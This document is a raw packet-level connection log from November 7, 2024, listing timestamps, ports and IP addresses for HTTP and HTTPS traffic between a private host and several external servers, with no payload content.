Nov 7, 2024 06:01:25.091727972 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091727972 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091742039 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091753960 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:25.091753960 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091789007 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.091813087 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:25.166829109 CET	443	49881	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.168171883 CET	49881	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.168193102 CET	443	49881	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.169163942 CET	49881	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.169169903 CET	443	49881	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.169888020 CET	443	49883	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.170501947 CET	49883	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.170516014 CET	443	49883	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.170756102 CET	443	49882	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.171011925 CET	49883	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.171020031 CET	443	49883	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.174586058 CET	49882	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.174622059 CET	443	49882	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.175139904 CET	49882	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.175146103 CET	443	49882	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.176028967 CET	443	49880	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.176316023 CET	49880	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.176325083 CET	443	49880	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.177071095 CET	49880	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.177076101 CET	443	49880	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.226162910 CET	49861	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:25.226649046 CET	49885	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:25.232768059 CET	80	49861	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:25.232784986 CET	80	49885	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:25.232819080 CET	49861	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:25.232865095 CET	49885	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:25.236604929 CET	49885	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:25.240943909 CET	443	49884	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.241456032 CET	80	49885	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:25.241730928 CET	49884	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.241763115 CET	443	49884	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.242211103 CET	49884	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.242216110 CET	443	49884	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.297095060 CET	443	49881	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.297132015 CET	443	49881	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.297188044 CET	443	49881	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.297198057 CET	49881	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.297249079 CET	49881	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.299561977 CET	49881	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.299588919 CET	443	49881	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.299604893 CET	49881	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.299611092 CET	443	49881	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.300679922 CET	443	49883	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.300749063 CET	443	49883	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.300791025 CET	49883	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.301148891 CET	443	49882	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.301242113 CET	443	49882	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.301290035 CET	49882	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.301610947 CET	49883	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.301626921 CET	443	49883	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.301636934 CET	49883	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.301642895 CET	443	49883	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.301934004 CET	49882	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.301954031 CET	443	49882	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.301965952 CET	49882	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.301970959 CET	443	49882	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.305366993 CET	49886	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.305402994 CET	443	49886	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.305449963 CET	49886	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.305702925 CET	49887	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.305732965 CET	443	49887	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.305792093 CET	49887	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.305900097 CET	49888	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.305938959 CET	443	49888	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.305988073 CET	49888	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.306268930 CET	49886	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.306281090 CET	443	49886	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.306376934 CET	49887	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.306387901 CET	443	49887	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.306869984 CET	49888	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.306884050 CET	443	49888	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.308252096 CET	443	49880	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.308393002 CET	443	49880	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.308435917 CET	49880	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.308706999 CET	49880	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.308712006 CET	443	49880	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.308722973 CET	49880	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.308726072 CET	443	49880	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.311608076 CET	49889	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.311639071 CET	443	49889	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.311707973 CET	49889	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.311924934 CET	49889	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.311940908 CET	443	49889	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.379523039 CET	443	49884	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.379594088 CET	443	49884	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.379703999 CET	49884	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.380091906 CET	49884	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.380105972 CET	443	49884	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.380139112 CET	49884	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.380143881 CET	443	49884	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.383725882 CET	49890	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.383748055 CET	443	49890	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.383953094 CET	49890	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.384268045 CET	49890	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:25.384278059 CET	443	49890	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:25.385019064 CET	443	49879	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:25.385108948 CET	443	49879	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:25.385298967 CET	49879	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:25.387726068 CET	49879	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:25.387758017 CET	443	49879	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:26.034907103 CET	443	49886	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.037344933 CET	443	49888	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.037408113 CET	443	49887	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.043239117 CET	443	49889	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.078293085 CET	49888	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.078428984 CET	49887	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.093832970 CET	49886	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.095716953 CET	49889	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.124640942 CET	443	49890	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.155730963 CET	80	49885	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:26.159720898 CET	49885	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:26.171978951 CET	49890	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.183548927 CET	49888	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.183566093 CET	443	49888	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.183583021 CET	49887	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.183594942 CET	443	49887	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.183881998 CET	49890	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.183886051 CET	443	49890	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.184127092 CET	49888	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.184132099 CET	443	49888	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.184350967 CET	49890	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.184355021 CET	443	49890	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.184597015 CET	49886	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.184600115 CET	49887	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.184613943 CET	443	49886	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.184613943 CET	443	49887	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.185081005 CET	49886	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.185085058 CET	443	49886	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.185425997 CET	49889	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.185445070 CET	443	49889	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.185969114 CET	49889	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.185972929 CET	443	49889	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.187714100 CET	49870	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:26.192138910 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:26.192742109 CET	80	49870	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:26.195780039 CET	49870	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:26.196990967 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:26.199045897 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:26.233843088 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:26.238662004 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:26.310583115 CET	443	49890	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.310594082 CET	443	49887	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.310662031 CET	443	49887	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.310791969 CET	49887	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.310873032 CET	443	49889	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.310969114 CET	443	49889	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.311147928 CET	443	49890	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.311162949 CET	49889	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.311165094 CET	443	49886	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.311194897 CET	443	49886	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.311203957 CET	49890	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.311253071 CET	443	49886	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.311284065 CET	49886	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.311378956 CET	49886	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.312617064 CET	443	49888	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.312654018 CET	443	49888	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.312707901 CET	443	49888	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.312736988 CET	49888	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.312829018 CET	49888	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.330760002 CET	49890	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.330760002 CET	49890	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.330795050 CET	443	49890	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.330813885 CET	443	49890	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.332660913 CET	49888	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.332660913 CET	49888	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.332685947 CET	443	49888	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.332703114 CET	443	49888	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.334418058 CET	49887	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.334418058 CET	49887	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.334440947 CET	443	49887	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.334454060 CET	443	49887	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.335195065 CET	49889	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.335207939 CET	443	49889	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.335239887 CET	49889	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.335246086 CET	443	49889	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.341109991 CET	49886	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.341125965 CET	443	49886	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.341159105 CET	49886	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.341165066 CET	443	49886	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.455522060 CET	49892	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.455585957 CET	443	49892	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.455610991 CET	49893	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.455660105 CET	49892	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.455688000 CET	49894	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.455697060 CET	443	49894	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.455701113 CET	443	49893	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.455746889 CET	49894	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.455924034 CET	49893	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.475030899 CET	49892	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.475073099 CET	443	49892	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.475161076 CET	49894	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.475172043 CET	443	49894	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.475395918 CET	49893	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.475410938 CET	443	49893	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.476628065 CET	49895	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.476653099 CET	443	49895	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.476736069 CET	49895	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.476901054 CET	49895	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.476914883 CET	443	49895	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.480026960 CET	49896	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.480074883 CET	443	49896	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:26.480150938 CET	49896	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.507488012 CET	49896	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:26.507520914 CET	443	49896	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.130007982 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.130040884 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.130059958 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.130070925 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.130081892 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.130084038 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.130095005 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.130106926 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.130120039 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.130131960 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.130132914 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.130131960 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.130132914 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.130146980 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.130151033 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.130176067 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.130189896 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.135200024 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.135227919 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.135265112 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.135297060 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.192780972 CET	443	49892	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.203443050 CET	443	49895	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.213377953 CET	443	49894	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.215993881 CET	443	49893	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.216329098 CET	49892	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.216387987 CET	443	49892	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.216783047 CET	49895	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.216820955 CET	443	49895	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.216847897 CET	49892	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.216854095 CET	443	49892	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.217236042 CET	49895	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.217251062 CET	443	49895	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.217493057 CET	49894	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.217499971 CET	443	49894	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.217725992 CET	49893	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.217746973 CET	443	49893	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.217902899 CET	49894	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.217906952 CET	443	49894	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.218132019 CET	49893	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.218142986 CET	443	49893	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.255592108 CET	443	49896	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.256216049 CET	49896	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.256264925 CET	443	49896	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.256738901 CET	49896	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.256748915 CET	443	49896	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.283955097 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.283971071 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.283988953 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.284002066 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.284013033 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.284038067 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.284085989 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.284357071 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.284368038 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.284379005 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.284395933 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.284413099 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.284679890 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.284717083 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.284729004 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.284730911 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.284750938 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.284761906 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.284766912 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.284796000 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.284822941 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.285617113 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.285660028 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.285681009 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.285701036 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.285872936 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.285888910 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.285901070 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.285906076 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.285912991 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.285917044 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.286029100 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.286065102 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.286659002 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.286715984 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.286729097 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.286770105 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.288888931 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.288938046 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.297835112 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.297858000 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.297868013 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.297878027 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.297883034 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.297899961 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.297924995 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.340488911 CET	443	49892	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.340682983 CET	443	49892	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.340742111 CET	443	49892	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.340744019 CET	49892	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.340785027 CET	49892	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.341639996 CET	443	49894	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.342154980 CET	443	49894	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.342196941 CET	49894	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.346013069 CET	443	49895	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.346096039 CET	443	49895	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.346148014 CET	49895	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.346841097 CET	443	49893	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.347206116 CET	443	49893	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.347246885 CET	49893	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.353919983 CET	49892	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.353941917 CET	443	49892	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.353955984 CET	49894	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.353955984 CET	49892	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.353961945 CET	443	49894	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.353972912 CET	443	49892	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.353981972 CET	49894	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.353985071 CET	443	49894	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.358520985 CET	49895	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.358552933 CET	443	49895	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.358563900 CET	49895	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.358570099 CET	443	49895	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.360200882 CET	49893	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.360212088 CET	443	49893	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.360229015 CET	49893	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.360234022 CET	443	49893	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.363415003 CET	49897	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.363464117 CET	443	49897	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.363584042 CET	49897	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.363647938 CET	49898	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.363686085 CET	443	49898	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.363734007 CET	49898	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.367578030 CET	49897	443	192.168.2.4	13.107.246.45
